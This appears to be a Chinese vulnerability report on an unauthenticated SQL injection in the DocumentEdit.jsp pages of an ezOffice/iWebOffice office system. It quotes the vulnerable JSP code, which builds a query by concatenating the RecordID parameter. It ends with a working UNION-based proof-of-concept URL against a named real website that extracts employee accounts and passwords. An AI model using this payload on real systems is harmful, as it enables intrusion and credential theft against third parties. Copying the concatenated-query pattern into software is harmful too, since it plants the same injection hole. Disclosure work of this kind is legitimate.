登陆后有很多注入但是比较鸡肋，找到一处不需要登陆的注入。

 

注入文件位于：

 

\defaultroot\boardroom\iWebOfficeSign_sql\DocumentEdit.jsp

 

 

\defaultroot\boardroom\iWebOfficeSign_oracle\DocumentEdit.jsp

 

 

其中RecordID存在注入

 

String mRecordID=request.getParameter("RecordID");

  String mTemplate=request.getParameter("Template");

  String mFileType=request.getParameter("FileType");

  String mEditType=request.getParameter("EditType");

  String mUserName=new String(request.getParameter("UserName").getBytes("iso8859_1"),"GBK");



  //zhuo add 判断模块类型(信息管理,公文)

  String moduleType=request.getParameter("moduleType")==null?"default":request.getParameter("moduleType");

  String isSaveHtmlImage=request.getParameter("saveHtmlImage")==null?"0":request.getParameter("saveHtmlImage");//是否生成HTML图片文件

  String isSaveDocFile=request.getParameter("saveDocFile")==null?"0":request.getParameter("saveDocFile");//是否生成DOC文件





  //取得编号

  if ( mRecordID==null)

  {

     mRecordID=""; //编号为空

  }

  //取得模式

  if ( mEditType==null)

  {

    mEditType="1"; // 0 显示  1 起草 2 批改 3 审核

  }

  //取得类型

  if ( mFileType==null)

  {

    mFileType=".doc"; // 默认为.doc文档

  }

  //取得用户名

  if (mUserName==null)

  {

    mUserName="金格科技";

  }



  //取得模板

  if ( mTemplate==null)

  {

    mTemplate=""; // 默认没有模板

  }



  //打开数据库

  DBstep.iDBManager2000 DbaObj=new DBstep.iDBManager2000();

  if (DbaObj.OpenConnection())

  {

    String mSql="Select * From Document Where RecordID='"+ mRecordID + "'";

    try

    {

      result=DbaObj.ExecuteQuery(mSql);

      if (result.next())

      {

        mRecordID=result.getString("RecordID");

        mTemplate=result.getString("Template");

        mSubject=result.getString("Subject");

        mAuthor=result.getString("Author");

        mFileDate=result.getString("FileDate");

        mStatus=result.getString("Status");

        mFileType=result.getString("FileType");

        mHTMLPath=result.getString("HTMLPath");

      }

      else

      {

//取得唯一值(mRecordID)

        java.util.Date dt=new java.util.Date();

        long lg=dt.getTime();

        Long ld=new Long(lg);

//初始化值

        mRecordID=ld.toString();//保存的是文档的编号，通过该编号，可以在里找到所有属于这条纪录的文档

        mTemplate=mTemplate;

        mSubject="请输入主题";

        mAuthor=mUserName;

        mFileDate=DbaObj.GetDateTime();

        mStatus="DERF";

        mFileType=mFileType;

        mHTMLPath="";

      }

      result.close();

    }

    catch(SQLException e)

    {

      System.out.println(e.toString());

    }

    DbaObj.CloseConnection() ;

  }

 

 

poc

 

http://www.qlyxjy.cn:8080/defaultroot/boardroom/iWebOfficeSign_sql/DocumentEdit.jsp?RecordID=-2074%27%20UNION%20ALL%20SELECT%20NULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%20CONCAT%280x71786b6771%2CIFNULL%28CAST%28EMP_ID%20AS%20CHAR%29%2C0x20%29%2C0x6e736e676578%2CIFNULL%28CAST%28USERACCOUNTS%20AS%20CHAR%29%2C0x20%29%2C0x6e736e676578%2CIFNULL%28CAST%28USERPASSWORD%20AS%20CHAR%29%2C0x20%29%2C0x7168726371%29%20FROM%20ezoffice.org_employee%20LIMIT%2021%2C1%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%23&Template=0&FileType=.doc&EditType=1&UserName=1&moduleType=1&saveHtmlImage=1&saveDocFile=1